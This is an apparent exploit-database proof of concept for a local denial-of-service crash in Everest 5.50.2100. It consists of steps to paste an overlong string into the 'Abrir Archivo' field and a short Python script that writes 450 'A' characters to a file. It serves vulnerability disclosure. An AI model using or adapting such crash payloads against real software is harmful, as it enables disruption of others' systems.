Everest 5.50.2100 - 'Open File' Denial of Service (PoC)

# Exploit Title: Everest 5.50.2100 - 'Open File' Denial of Service (PoC)
# Discovery by: Ivan Marmolejo
# Discovery Date: 2020-03-24
# Software Link : http://www.lavalys.com/
# Tested Version: 5.50.2100
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Home Single Language

# Steps to produce the crash:
#1.- Run python code: Everest.py
#2.- Open Everest.txt and copy content to clipboard
#3.- Open "Everest Ultimate Edition"
#4.- Select "Informe" > "Asistente de Informes" > "Next" > Select "Abrir Archivo"
#5.- In "Abrir Archivo" field paste Clipboard
#6.- Select "Next"
#7.- Crashed

buffer = "\x41" * 450
f = open ("Everest.txt", "w")
f.write(buffer)
f.close()